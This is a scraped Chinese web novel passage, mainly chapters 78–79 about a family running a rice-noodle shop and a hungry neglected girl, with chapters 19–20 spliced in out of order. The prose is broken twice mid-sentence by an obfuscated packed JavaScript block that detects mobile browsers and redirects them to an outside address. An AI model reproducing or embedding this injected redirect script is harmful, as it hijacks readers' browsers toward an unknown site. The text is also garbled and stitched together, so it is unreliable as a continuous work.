毕竟授人以鱼,不如授人以渔,之后如果宁时春学得好,他自己就能开一家店,不用一直给人打工了。 反正宁时春不开店,镇上也会有别的人跟风开,这钱便宜外人,不如让自家侄子挣。 而且老大家有个人能挣钱,以后宁绍贤夫妻俩遇到事,也不会总惦记着薅她家羊毛。 他们总是闹出点事情来,真是不够烦人的! 宁时春回来那么多天,也想过要不要跟三叔说想去他店里帮忙。 可是他又不好意思说出来,总觉得那样会让三叔为难,他就只在店里忙的时候去帮一下。 他完全没想到,三婶竟然会主动提出来让自己去店里干活。 宁时春感动得说不出话来,一个大小伙子,眼眶都红了。 宁绍明拍拍他的肩膀:“你来帮忙那么多次了,对店里也熟,明天没什么别的事就来干活,我明天不忙的时候教你点别的。” 他们原先想着,等赵如月去县城采购食材,顺便买个打蛋器回来。 这样宁绍明做蛋黄酱就不用那么辛苦。 做蛋黄酱剩下的蛋白也能利用起来,做点蛋糕或者面包之类的,在店里试着卖一卖。 可赵如月去县城那天,找了好几个地方,竟然没找到。 这个计划只能暂时搁置,煎蛋也继续送着。 赵如月又回娘家,另外拜托在市里工作的亲戚,回老家的时候顺便帮忙买一个捎回来。 她托人买的东西今晚就能到,明天用上之后,送煎蛋的活动就真的要结束了。 78. 第 78 章 老宅那边还在为了宁绍贤欠债的事鸡飞狗跳,宁时春已经做好了重新有班上的准备。 黄秀华以为宁绍明愿意让宁时春去他店里干活,还给宁时春发工资,表示他是心软了,可能好面子,不好意思说,才拐着弯让别人猜。 她主动上门,问宁绍明:“你真不能看在小春的面子上,帮你大哥一把?” 宁绍明气笑了,总是被这么反反复复地来找事,真是把他烦得不行。 宁绍明干脆直接放了狠话:“你再跟我说这些乱七八糟的事,小春也不用来了,你把他带回去帮大嫂种地吧。” 接二连三地在宁绍明这里没讨到任何好处,黄秀华终于真正地意识到,自己根本无法左右老三的想法和行为,只能无奈地放弃,转头去找老二。 宁时春还正式没上班,就听说奶奶借着他的事又去找三叔,吓得赶紧跑到他奶奶面前嗷嗷哭,恨不得直接给她跪下。 “我好不容易有个工作,三叔也答应有空会教我手艺,算我求您了,奶奶,别再惹我三叔行吗?” 黄秀华恼羞成怒:“你这是什么屁话?我是他亲妈,没事找他说几句话都不行?” 宁时春才不信她没事会去找他三叔说话:“我知道你为了我爸欠下的债忧心,可我爸的债主不是还没找来么,我们全家一起干活挣钱,慢慢攒钱还人家行不行?” “你三叔一个月给你多少钱?”黄秀华趁机问。 要是给的多,他们老两口也不用拿那么多出来填坑。 “一个月三百块钱。” “才给三百?你可是他亲侄子!一个月三百够什么用?你一年不吃不喝不买别的东西,把工资全攒起来,也才有三千六。” 宁时春觉得他奶奶飘了,她现在竟然连三百块钱都看不上。 可镇上多少人,一个月连两百现钱也见不着? 曾经他们家不也这样穷吗? 现在家里也没发达啊,只是日子比以前好过了一点而已,怎么就连三百都敢看不上了? “我三叔还包我三餐,小秋和小夏在长身体,三叔家平时也要进货,他家吃得可不差,几乎顿顿有肉。 你难道不知道镇上学徒什么待遇吗? 我三叔给的这待遇要是传出去,我不干,有的是人愿意干,你再去找他闹,到时候把三叔三婶惹恼了,真不让我去,我爸的债,得什么时候才能还完?” 黄秀华吭声了,她也知道宁时春说的话有道理。 但同时也觉得大孙子原本那么老实的孩子,跟老三混久了,也被传染了一些他那混蛋样,说出来的话真是让人听着不爽。 王海燕本来也想去求求宁绍明夫妻俩,可宁时春跟黄秀华说的话她也听到了。 她顿时不敢再乱来,生怕连一年三千六也打水漂。 毕竟她儿子说的话确实有道理,以老三给的待遇,她儿子不去,可有的是人愿意去。 就她知道的,老三媳妇儿的娘家,家族那么大、人数那么多,她族里不管远的近的、堂的表的,都有不少小年轻没活干,又不想出去打工,万一真把老三夫妻俩惹恼了。 老三媳妇儿回她娘家招人,把自己儿子换了怎么办? 老宅这事没传到赵如月耳朵里。 所以她不知道,宁时春还没去干活,更没做到独立,自己的办法居然已经那么快取得成效,开始给她家挡这些来自老宅的麻烦了。 宁时春跟家里保证,自己愿意担下他爸三分之一的债务,也就是五千块钱后,换得了后续的清净,终于能顺顺利利,暂时没有后患地干活去了。 只是被烦到的人这次终于轮到宁绍德了。 有些当父母的总是喜欢在孩子之间均贫富,哪个孩子过得不好,就理所当然地认为,其他孩子得帮衬过得不好的。 他们偏心宁绍德是真,不太喜欢宁绍贤也是真。 但是当宁绍贤出了事,他们就觉得自己作为父母,必须得帮着想办法。 可黄秀华和宁达上了年纪,能想到的办法无非就是让其他孩子帮忙,或者跟亲戚借钱。 宁绍明愿意给宁绍贤的儿子发工资,虽然不是直接出钱,也算是帮了忙,而且他态度又强硬,所以他们不再找他。 那还没帮忙的就只剩下老二宁绍德和女儿宁美婷了。 老二即使一直得到他们的偏爱,但是他们觉得偏爱他,跟帮大儿子并不冲突,老二作为兄弟也该帮他大哥一把。 至于女儿,以后有事得找娘家给她撑腰,娘家有事她怎么也该出一份力。 老两口商量了半晌,决定分头行动。 黄秀华觉得老二跟自己最亲,他平时最贴心,也最听自己的话,所以决定由自己亲自去找老二,让宁达去找女儿。 宁绍明早上买菜回来,路过镇上的汽车客运站,在一辆开出去的车上靠窗的位置,看到了他妈。 回去后问宁时春,知道老太太打算去县城找宁绍德帮宁绍贤,没忍住笑出声。 他真想去现场看看老二被老太太问要钱,在老太太面前装不下去那个场面,肯定很有意思。 宁时春一头雾水地看着他:“三叔你笑啥?” “没什么,你把这葱花切一下,等会儿我做馒头,你也过来看看,今天不是集日,忙完早上的饭点,我让你上手试一试。” “好!”宁时春开心地应了一声,几口吃完最后两口早饭。 一大早就能吃一碗羊肉米粉当早饭,这放在一年前,宁时春想都不敢想。 以前街上的米粉,也只有在偶尔赶集时才能遇到,现在他不但能吃到煮米粉,想吃炒米粉也行。 幸福感蹭蹭往上涨,干起活来简直有使不完的劲儿。 他也很喜欢吃热狗面包,午饭打算就吃那个。 不过那么好吃的东西,他三叔还说那不是真正的热狗面包,真不知道真正的热狗面包会好吃成什么样! 宁时秋和宁时夏也早起在店里帮忙,做一些力所能及的简单的活。 搬家后,他们家到学校的距离更近了,早上不用去那么早。 这会儿他们吃完早饭就搬了小板凳,坐在门口择菜。 有人路过门口还顺带招呼客人,问人家要不要进来吃东西。 两个孩子择好一篮子菜,正准备一起搬到院子的水池里,让大人洗。 一抬头,看到面前站着一个踟蹰着不敢上前的人。 宁时夏热情地招呼:“思莲姐,你要进来吃东西吗?我家的东西可好吃了!” 赵思莲把手放进口袋,捏了捏里面的五毛钱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951341|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她爸让她来买米粉,可他不知道太久没上街还是怎么的,竟然不知道米粉涨价到六毛钱一碗了,只给了她五毛钱。 赵思莲忍着内心的羞耻感,走到宁时夏和宁时秋身边。 左右看看,确认身边除了他们俩没有其他人,才小心翼翼地开口:“小夏,我只有五毛钱,能不能帮我问问你爸爸,卖给我一碗五毛钱的煮米粉?我那碗少放点米粉或者肉可以吗?” 宁时夏跟哥哥对视一眼,他们还是第一次遇到这样的要求。 宁时秋看赵思莲羞愧脸红得仿佛大虾快要熟透的样子,又想起她家的变故,不忍拒绝:“小夏年纪太小,我爸妈不让她进厨房,我帮你去问问。” 赵思莲连连点头:“好的好的,谢谢你们!” 宁时秋跑进去没一会儿就又跑出来了。 对上赵思莲期待的目光,他摇了摇头,赵思莲眼泪差点冒出来,她担心没做到她爸吩咐的事情,回去会被打。 宁时秋看到她要哭出来的样子,顾不上平顺气息,微微喘着气说:“我妈说少放料、少收钱这个先例不能开,但你是她堂侄女,可以网开一面,今天一碗煮米粉只收你五毛,但下不为例,要是你以后带来的钱又不够,还想买米粉的话,就得帮我家干活了。” 这户让赵思莲听着眼睛一亮,她不怕干活,只怕这一次成功带了一碗足量的米粉回去,以后她爸还这样只给五毛就让她来买。 买不到他肯定会生气打骂她,带回去的米粉,分量不如之前,他也会生气打骂她。 赵思莲不想被打骂,也不想永远靠着别人对自己的可怜,去占人家的便宜。 能干活抵消一毛钱真是太好了! “我干活可麻利了,现在就能帮忙!”她左右看看,看到宁时夏和宁时秋还没抬进去的一篮子蔬菜。 直接两手一抓一提把篮子抬起来,风风火火地帮忙把那一篮子蔬菜搬进去了。 宁时夏一路跟在赵思莲屁股后面羡慕地看着她:“思莲姐,你力气真大!” 赵思莲很久没被人夸过了,有些不好意思地笑笑,谦虚道:“没有没有,我从小干活,习惯了而已。” 她顺手就把那一篮子蔬菜洗干净了。 蔬菜洗干净后,看到池边上客人用过,但还没来得及洗的碗堆在那里,又把那些碗全部洗刷干净了。 “你真能干!”宁时夏毫不吝啬地夸奖,“你以后要不来我家干活吧,我哥有钱,让我哥雇你,我爸也雇我大堂哥给他干活,他们大人雇大人干活,我们小孩雇小孩干活。” 她也听说了赵思莲家里的事,知道赵思莲没有妈妈了,她爸爸又不是一个好爸爸,就很想帮帮她。 只是不知道怎么帮,今天终于想到了一个她觉得非常好的办法。 宁时秋听见妹妹的话,忍不住敲了她脑门一下:“你可真会安排,为什么是我花钱雇人,不是你花钱?” 宁时夏捂着脑门说:“我最近想攒钱买东西呀,你现在又没有想买的,可以等我买到了那个东西,剩下的零花钱用不着了,再花我的钱雇行不行?” 赵如月进来看他们在做什么,听到女儿这话就笑了:“不行。” 三个孩子异口同声地问:“为什么?” 赵如月:“雇童工犯法!” 79. 第 79 章 “啊?还有这个规定啊?” 宁时夏被吓到了,她怕自己爸妈被抓走,“那我以后不在外面跟人说,我在家里帮爸爸妈妈干活了,哥哥,我们悄悄地干,以后也不到门口去干活了,只在家里干。” 赵如月哭笑不得:“给自家干活不算雇佣童工。” “对呀,不用那么小心吧?我们给家里干活,爸爸妈妈不给工资,应该就不算雇我们了。”宁时秋给出自己的理解。 赵如月听得目瞪口呆:“好像也不能这么解释,反正自家人给自家干活算是做家务,亲戚偶尔来帮忙干点活,也不算雇童工,但是我们不能像雇你们大堂哥那样,雇思莲来干活。” 她这么解释,三个孩子总算明白了。 赵思莲感觉有些遗憾,要是她能来干活就不用饿肚子了。 她大伯和大伯娘昨天和今天都不在家,去大伯娘的娘家吃席了,路比较远,要明天才能回来。 她爸成天要么在家里喝酒,要么去别人家喝酒不管她。 赵思莲昨天一天没怎么吃东西,就混了个水饱,她爸今天又只给她五毛钱买一份煮米粉。 家里的米缸空了,连喂鸡的米糠都没有。 她大伯家因为要出远门,所以也把吃全锁到房间柜子里防止被老鼠吃。 赵思莲回去还不知道能吃什么填饱肚子。 赵如月担心被赵鸿利赖上,也不敢明着帮赵思莲。 要不然赵鸿利知道她在外面有人接济,还真有可能以后都不管她吃穿了。 外人就算帮赵思莲,也只能帮一时,不能一直帮。 必须得逼着赵鸿利负担起养育的责任。 赵如月跟赵思莲说:“思莲,你打包米粉回去后,别跟你爸说你给我干活抵了少的那一毛钱,就说我记账了,凑够一块钱就会去找他要账。” 赵思莲不明白如月堂姑为什么要让自己这么说,但知道堂姑不会害自己,不管是谁,都比自己亲爹好多了。 赵思莲郑重地点头说:“我记住了。” 厨房里宁绍贤蒸的馒头出锅了,多出来一小团面剂子,做不成热狗面包,宁绍明就揉了揉做成圆圆的普通馒头。 赵如月把这个馒头给了赵思莲:“你吃完再回去。” 赵思莲接过馒头主动说:“谢谢姑,我在这里吃了馒头这事,回去我也谁都不说。” “这就对了,真聪明!”赵如月欣慰地点头,觉得这孩子要是不走歪路,以后也不会差到哪里去。 她想起来之前见冬兰在菜地里划出来两块地方,种土豆和红薯。 红薯还没到成熟的季节,但他们这里土豆能种两季。 第一季土豆收获的时间就在六七月份,也就是现在这时候。 “思莲还记得你家菜地是在哪块地方吧?” 赵思莲忙咽下嘴里的馒头回答:“知道,之前我妈去种菜我跟着去过,左边是大伯家的菜地,右是我家的菜地。” “对,我记得你妈去种土豆和红薯的时候,你也跟着去了,你们种下的土豆现在应该可以挖了。 红薯得等到八月份,就是你们放暑假的时候才成熟,你今天放学可以去菜园里挖一些土豆吃,如果不会做的话,可以来我家学,我教你几样简单的,你换着吃。” “太好了!”赵思莲不知道这个,听赵如月这么说很惊喜。 她本来想着放学回家时,家里再没有吃的,就去菜园里拔点菜煮一煮填肚子。 可光吃青菜也很容易饿,有土豆就好多了。 她拿出纸笔问道:“如月姑,你可以现在就教我吗?我记下来回家就能直接做,不然还得来麻烦你,放学的时候,你们这里也忙呢,我不好意思在你们那么忙的时候,还来打扰你。” 赵思莲迫不及待地想回去挖土豆煮了吃。 她不好意思说,那个馒头虽然挺大的,普通小孩子吃那么大一个馒头肯定饱了,但她饿了好久,食量也大,一个馒头吃下去,只能吃个半饱。 本来想回去多喝点水骗骗肚子,可现在有土豆,她就不用再挨饿了。 不过赵思莲只会煮土豆这一种做法,她想多学几种。 “没问题。”赵如月跟她说了煮土豆、蒸土豆、烤土豆、咸口土豆泥、甜口土豆泥、土豆饼、土豆鸡蛋饼、土豆菜饼、煎土豆块这几种比较简单的土豆吃法。 还说了土豆的保存方法以及发芽的土豆不能吃之类的注意事项。 喜得赵思莲又帮她洗了两盆碗才回家,赵如月拦都拦不住。 她带着煮米粉回到家,赵鸿利难得不是醉醺醺的状态,看到她真只花五毛钱就带回来一碗煮米粉,很得意于自己的小聪明。 只是在听到赵思莲说赵如月结账,等凑够一块钱就来找他要账,赵鸿利的脸瞬间变得阴沉。 嘴里骂骂咧咧:“呸!还是亲戚呢,真是越有钱越吝啬!格局那么小,我看她家也发不了大财!以后不许再去她家买东西,不然她家再赚到我们家一分钱!” 赵思莲听到他骂人就忍不住缩起脖子,尽量减少自己的存在感。 看听到他咒骂好心帮自己的赵如月,又觉得心里难受,想反驳又不敢。 直到赵鸿利说下次不许去她家买东西,去别的店买。 赵思莲终于忍不住说:“我去别家店全问过了,别人连赊账也不给,只有如月堂姑还愿意让赊一毛钱。” 说完她见到赵鸿利扭曲的表情,被吓得转身就跑。 她担心被追出来打,边跑边小心翼翼地回头看,没想到她爸只是骂,并没有追出来要打她,顿时松了一口气,赶紧找个地方躲起来。 赵思莲不知道,赵鸿利光顾着喝酒,没正经吃过饭,就算有下酒菜,那些下酒菜也只是酒的陪衬。 更何况他跟他的酒友们也都没什么钱,买不起好菜,下酒菜一般只有一碟花生米或者一碟煎小鱼,没法填饱肚子。 他肚子里长时间没多少实在东西,再加上酒精的长期影响,让他根本没力气追出去,他那手抓起筷子都抖得很,只能先吃赵思莲带回来的煮米粉,想着吃饱再收拾她。 然而赵鸿利吃着吃着,又馋酒了,给自己倒了一杯,边吃边喝。 吃着喝着,不知不觉就又醉了。 喝醉后想起老婆跟人跑了的事,光顾着骂老婆和那个不知道是谁的奸夫,以及老婆娘家人,哪还想得起收拾赵思莲。 等他醉倒过去,赵思莲也挖了好几个土豆清洗干净,从后门钻回厨房,把土豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954617|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒸熟,切成两半撒了点盐,吹一吹,热乎乎地咬了一口。 两个大土豆下肚,她摸了摸肚子,饱得想流眼泪。 第二天她起了个大早,在自家菜园子里割了不少长好的小葱和香菜,她知道米粉店需要这些比较多。 就把小葱和香菜全部洗得干干净净,趁着赵如月和宁绍明没开门,悄悄送过去放在门口就跑。 赵如月隐约猜到是谁放的,想给她点别的东西补偿,可好几次都没碰到只好,让宁时秋在学校里多关照她一些。 她妈妈的事在镇上闹得沸沸扬扬,赵思莲在学校里多少会受到一些影响。 “要是有人欺负思莲,你能帮就帮帮她,可别跟着别人一起孤立她。” 宁时秋听到妈妈的吩咐有些无奈,思莲妈妈的事都发生那么久了,妈妈现在才说这些,是不是有点迟? “妈妈,我跟思莲本来就是朋友,她被人欺负,我肯定会帮她呀,你忘了,我们以前住对门,是发小来着,我怎么会跟别人一起孤立她,她又没做错什么。” “……” 赵如月再次意识到自己确实太迟钝了,孩子的事他们自己能处理得很好,她还是别再指手画脚了:“看我这脑子,忘了你们也是好朋友,你做的很好,继续保持吧。” 宁时夏举手:“还有我,我跟思莲姐和思葵也是好朋友!” 说起赵思葵,她心里有点难过:“可惜思葵被她妈妈带走了,我好久没见到思葵都有点想她了,妈妈,思葵还会回来吗?” 赵如月摇头:“我也不知道。” 上辈子赵思葵没回来过,她被带走时年纪太小了,长大后对这边老家的记忆大概会变得模糊,甚至完全忘记。 不回来也好,不然还有可能会被赵鸿利黏上,甩脱不掉。 “聊什么呢?来尝尝这鸡蛋糕。”宁绍明端着一盘鸡蛋糕进来,招呼她们都尝尝。 赵如月看到那盘白色的鸡蛋糕,笑问:“打发蛋白又失败了?” “是啊,我看还是得买个冰箱,夏天肉这么放着也容易变质,这笔钱看来是没法省了。”宁绍明这几天带着宁时春试做蛋糕好几次。 想试试蛋白不冷藏行不行,可现在气温太高,蛋白没冷藏过,是真难打发,他也就成功过两次,宁时春一次没打发成功过。 没打发成功的蛋白,宁绍明只好加入面粉和糖上锅蒸,做成鸡蛋糕。 鸡蛋糕放在店里卖,销量一般,有时候卖不完,就他们自己分一分吃掉了。 今天家里的红糖不够了,宁绍明就试着往一部分面里加白糖,所以今天有一部分鸡蛋糕就是纯白色的。 “加白糖做的鸡蛋糕,我还是第一次吃,”赵如月捏了一个,咬一口,“味道竟然还不错。” 这几天宁绍明都吃腻了,听她这么说,也拿了一小块来吃:“确实还行,跟红糖鸡蛋糕是不太一样的味道。” 宁时夏听到她爸提到冰箱,咽下嘴里的鸡蛋糕问:“爸爸要冰箱冰什么?我可以找思莲姐帮忙,思莲姐姐家有冰箱。” 赵如月意外地说道:“我听说昨天她外婆和舅舅带着人来她家,调解他们之间的矛盾,调解完后,好像带走不少东西,她家的冰箱没被她外婆家的人搬走?” 第19章【VIP】 第19章 宁时夏重新跑回房间,拿起电话:“爸爸,哥哥上街买烧鸭去了,今天家里吃烧鸭,你们在那边有烧鸭吃吗?” 知道儿子不在,赵如月和宁绍明就什么都明白了。 宁绍明故意逗她:“爸爸妈妈这里没有烧鸭,每天吃饭和青菜。” 宁时夏听了觉得爸爸妈妈好可怜,她跟哥哥在家偶尔还能吃上一回烧鸭,隔三差五也能吃一次猪肉,可爸爸妈妈只有饭和青菜吃。 “等你们回来,我给你们买,”宁时夏突然压低声音,小小声地跟他们说自己的小秘密,“我偷偷存了十块钱呢,能买半只,到时候我跟哥哥不吃鸭腿了,都给你和妈妈吃!” 两人跟女儿又聊了好一会儿,直到电话卡的钱花完,儿子还没回来,只好说改天再给家里打电话,然后先把电话挂了。 挂了电话,夫妻俩对视一眼,忍不住一起叹气,心里说不出是什么滋味。 孩子确实像一张白纸,他们不守着这张白纸,不及时往纸上画东西,就有可能让别人钻了空子,在这张白纸上乱画。 赵如月站起身,让宁绍明继续占着位置:“我再去买一张电话卡。” 宁绍明问:“天色不早了,要不我们先去吃晚饭?晚点再打回去,两个孩子和我爸妈肯定都在家。” 他想好好问问自己父母,怎么能让大嫂在孩子面前乱说那样的话! 赵如月摇头:“不用,家里过两天再打回去,我再去买一张电话卡,等会儿给我娘家人打电话。” 她娘家跟宁家就在同一个镇子的另一条街上。 赵家在小桥街,宁家在大桥街,两家还刚好位于两条街的衔接位置,直线距离不超过四十米。 宁绍明以为她想给娘家人打电话,让娘家人去家里看看,顺便警告一下大嫂:“让你妈去家里看看也好,大嫂这次太过分了,怎么能教孩子说那种话,也不知道她平时是不是也在孩子耳边乱说!” 谁知赵如月并没有让娘家妈去说的意思:“我们没有证据,大嫂不会承认的,以她那脾气不管有理没理,只要我们不在,她看孩子好欺负,肯定跑到家门口闹起来,跟邻居大声嚷嚷,没准还要倒打一耙,说是孩子自己胡言乱语的话,到时候吓着孩子反而不好。” 如果赵如月在家,她是不怕她的,毕竟自己娘家离得近,底气足,本身也不是什么软柿子,宁绍明还向着自己,以前跟大嫂对上从来没输过。 只是坏就坏在,她不在家,对于家里的事鞭长莫及,她娘家人也不好随便插手婆家的事。 赵如月继续说道:“我们这边刚挂电话,就给我娘家打电话让我妈上门,倒像是我们在找事,我娘家没装电话,得打到街上小卖部或者我三叔家,这两个地方人多口杂,到时候这事,保不齐被宣扬得街上所有人都知道,家丑外扬,你爸妈不一定乐意。” 宁绍明:“也是……” 其实赵如月更担心,万一这事被镇上的人议论纷纷,孩子会遭受非议,他们肯定走到哪里都会被人逮住问。 不管那些问的人是好心还是恶意,对孩子来说都不好受,谁也不乐意总是被人逮住问同一个问题。 大嫂是长辈,天然对小辈有压制,到时候自己的孩子被故意为难,孩子估计都不知道怎么回事。 他们当父母的不在,孩子被欺负了也是白白被欺负,口苦难言。 等他们春节回去,事情都过去那么久,黄花菜都凉了。 她打算迂回一番,问问儿子家里的情况:“我妹妹的小儿子应该快办满月酒了,我给她打电话,再叫她给我妈打,让我妈带着小秋和小夏一起去吃满月酒,就说让他俩代表我们出席,吃席那天再打个电话回去,仔细问问小秋。” 让儿子亲自跟宁绍明说,他才能明白,事情比他想象中的更严重。 她娘家人嘴严,小妹又没嫁在附近,她婆家离榕溪镇很远。 电话打到那边,别人听说她打电话给小妹,也只会以为她是特地打电话回去,问候刚出月子的妹妹。 儿子早熟,仔细问应该能问出一些东西。 离开婆家人的手能伸到的范围,儿子才敢说真话,要不然每次打电话回去,公婆和大哥大嫂,甚至邻居都在旁边听着。 孩子受了委屈敢抱怨吗? 还不是只能说家里都好,让他们放心。 女儿年纪小,童言无忌倒是什么都敢说,只是也因为她太小,很多东西都意识不到,导致知道的不敢说,敢说的不知道。 * 宁时夏开开心心地挂了电话,离开大伯娘房间。 走到堂屋,看到难得不凑在电话旁,一起听电话的大伯娘坐在堂屋烤火。 宁时夏乐呵呵地跑过去告诉她:“大伯娘,我爸爸在电话里说,过年回来给我买一个滑板,还给我哥买一辆自行车!” 王海燕表情语气都很夸张地‘哦哟’一声说:“你爸爸这么有钱啊!那他有没有说给你时春哥和丹萍姐买什么?” “我忘记问了,”宁时夏懊恼地挠头,“我妈说过几天等我哥也在,她还打电话回来,到时候我帮你问问。” “行,不过你可不能说是帮我问,你时春哥和丹萍姐可都是你的哥哥姐姐,平时对你那么好,应该是你自己主动跟你爸妈说,给他们买点东西,谢谢他们的照顾。” 宁时夏懵懵懂懂地点头。 王海燕见这小丫头好糊弄,又哄着她问:“你有没有问你妈,去工厂上班,为什么不加班?” 宁时夏:“问了。” “你妈怎么说的?”王海燕听到这话,在心里偷着乐,让孩子说那些话,借孩子的嘴扎赵如月的心,对她没好处,但她就是看不惯赵如月那矫情娇气的的样子。 不过听到宁时夏接下来的话,她立马笑不出来了。 “我妈没说什么,我爸说的,说他能挣钱,用不着我妈加班。”宁时夏认真想了想,还是没法把爸爸的话,原封不动地复述出来。 她只记得大概的意思,就按照自己的话来说了:“我爸都能挣钱了,我妈就该歇着,她多休息才好,多休息能好好养身体。” 王海燕很郁闷:“她两个孩子要养呢,怎么就该歇着了?” 宁时夏:“我刚刚不是说了,我爸能挣钱。” 宁绍明换工作这事没跟家里人说,王海燕以为他现在也在洗衣机厂干着:“你爸一个月才挣多少?能跟人家夫妻俩都挣一千多的比?” 宁时夏实诚地一摊手:“不知道,我没问。” 王海燕怀疑这丫头专门来气自己,一口气哽在心头,吐不出来又咽不下去,难受得很。 她缓了缓,正想再问问宁时夏,她爸妈过年还带什么好东西回来。 要是有好的高档货,她可以早点做打算,弄几样初二带回娘家。 话没说出口,余光瞥到宁时秋那小子提着装烧鸭的塑料袋进来,顿时闭上了嘴。 第20章【VIP】 第20章 宁时夏看到哥哥回来,兴奋地扑过去:“哥,刚才爸爸妈妈打电话回来了,可惜你不在家,爸爸妈妈说等他们过年回来,会给我们买好多好吃的还有新衣服,还有、还有给我买滑板,给你买自行车!” 听到爸爸妈妈打电话回来,自己没接到,宁时秋有些失望。 但是又听到妹妹说爸爸妈妈答应给自己买自行车,他又高兴起来:“等我有了自行车,上学的时候就可以载你去学校了。” “还能载我去街上玩!” “嗯!”宁时秋重重点头。 王海燕盯着兄妹俩说话,看宁时夏没提起自己让她问赵如月工资的事,还有引导她说的那些话,心里稍稍松了一口气。 不知道为什么,她每次面对宁时秋这小子那双眼睛,总觉得别扭,好像他一个才八岁的小屁孩什么都看得懂似的,可问他又问不出来什么。 幸好宁时夏这三岁小孩好糊弄,她看宁时夏反反复复地跟宁时秋说他们爸妈春节要回来的事,就知道这小丫头心里只能存下高兴的事。 这丫头一说到高兴的事,别的都能抛到脑后,八成不会再提自己引导她说的话。 “烧鸭给我,我做饭去,”王海燕冲宁时秋伸手,又问,“小秋作业写完了吗?没写完赶紧去写,抓紧在吃饭前写完,要不然晚上不许看电视。” 宁时秋这才想起自己还提着烧鸭,赶忙把烧鸭和找回来的零钱交给王海燕:“作业就剩一点,我很快就写完了。” 她这一打岔,宁时夏更想不起来之前那些事了。 王海燕从宁时秋手里接过找回来的钱,仔细数了数,然后提着烧鸭去厨房做饭。 走到厨房,她特地把单独装着的烧鸭酱汁拿出来,重新称了称烧鸭,再算算价钱。 确认找回来的零钱数目没错,才开始做饭。 饭快做好时,宁时秋作业也写完了。 他收拾好书本和作业,跑到厨房,想看看饭做好没,要是快做好了,他就提前去菜地里喊爷爷奶奶回来吃饭。 宁时秋走进厨房,就看到大伯娘嘴角油乎乎的。 王海燕有些尴尬:“哎呀,我脸上怎么沾灰了。”她飞快地把鸭骨头扔到灶台下草木灰堆里去,欲盖弥彰地用袖子在嘴巴上抹了一把。 宁时秋没多说什么,眨了眨眼睛问:“大伯娘,饭做好了吗?” “还有一个菜就好了,你去喊人回来吃饭吧。” 十几分钟后,宁老头宁老太回来,看到饭桌上的烧鸭,就知道估计是今天老三夫妻俩打电话回来,说他们寄钱回来了,要不老大媳妇儿不舍得花钱买这个。 果然刚洗好手脚,在饭桌前坐下,就听到大儿媳大声说:“爸、妈,今天老三夫妻俩打电话回来,说他们今天寄钱回来了,让你们有空去邮局取钱,我本来以为年底了,他们会多寄点钱孝敬你们,谁知道还是只寄四百,你们俩给他们带孩子,这没有功劳也有苦劳啊……” “行了,我们哪家孩子没给带过?”宁老太黄秀华咽下嘴里的饭,眼神都没给她一个,“老三夫妻俩还背着债呢,他们出门在外混口饭吃也不容易,我们老两口还能动,用不着什么孝敬,要真给,就三个儿子都给!” 一句话,让王海燕彻底不敢吭声了,三个儿子都给?拿什么给?拿他们两口子的命给吗? 她眼睛瞥向公公宁达,老头以后八成是要跟他们家过的,怎么也得说句公道话吧? 然而老头仿佛什么都没听到,只管照顾小孙子小孙女吃饭。 他径自夹起一个大鸭腿,一点磕巴也不打,稳稳当当地放在了宁时夏的小碗里,然后又夹了另一个被砍做大腿状的翅腿,放在宁时秋碗里。 王海燕再一看丈夫和儿子女儿,这三个也是光顾着埋头吃,两个大鸭腿,一个都没落到自己人嘴里,他们也没反应! 自己费尽心思算计是为了谁?还不是为了他们! 王海燕不由泄了气,只敢在心里暗自埋怨婆婆偏心小儿子。 吃完饭,眼看婆婆要出门遛弯,王海燕急忙打起精神,拿出几张毛票走到婆婆面前:“妈,最近这段时间肉涨价不少,你上次给的买肉钱只剩这些了,你看……” 黄秀华瞥一眼她手上那点钱,对于大儿媳的小心思心知肚明。 但是老大夫妻俩都在家务农,收入是她所有儿女里最低的,老大又爱跟那些狐朋狗友到处混,当爹妈的说也说不得他。 黄秀华没办法,只能在这上面补贴一些,不然总不能看着其他儿女好吃好喝,大儿媳带着大孙子大孙女吃糠咽菜吧。 “知道了,老三今天刚给家里寄钱,没那么快能取,这几天别买肉了,先用上回炸猪油剩下的猪油渣炒菜吧。” “好,那过几天你别忘了去取钱,”王海燕不放心地提醒,还把宁时夏拉出来当借口,“小夏那丫头嘴巴刁得很,总吃猪油渣炒菜,她肯定不乐意。” 黄秀华一听脸色果然不太好:“都是老三惯的!” 老三在家的时候,他女儿要什么他给买什么,钱不够甚至出去跟别人借钱都要买,黄秀华想违心说是老三媳妇儿娇惯孩子都说不出口。 “小姑娘家家嘴巴那么馋像什么样子!”黄秀华看向大儿媳,“老三夫妻俩不在,我们平时要忙地里的活,你在家空闲的时候,抽空多教教那丫头,让她多跟丹萍学学,要不走出去别人该笑话我们家不会教女儿了!” 自己的女儿得到婆婆的认可,王海燕一改吃饭时那苦大仇深的模样,喜滋滋地应下。 转头就去找正在看动画片的宁时夏,准备叫她跟自己去菜地里清一下杂草。 她家丹萍可是三四岁就会跟着自己下地干活捡柴的,在家还会扫地,洗自己的衣裳,五岁就会做饭,那时候谁不夸她会教孩子? 王海燕是真心觉得自己这样教是为了孩子好,既然婆婆让自己来教,那就是对自己的肯定,她绝对不藏私。 谁知走到堂屋,却看到赵如月她亲妈坐在宁时秋兄妹俩身边,正笑眯眯地从口袋里掏出一小把水果糖,分给他们兄妹俩。 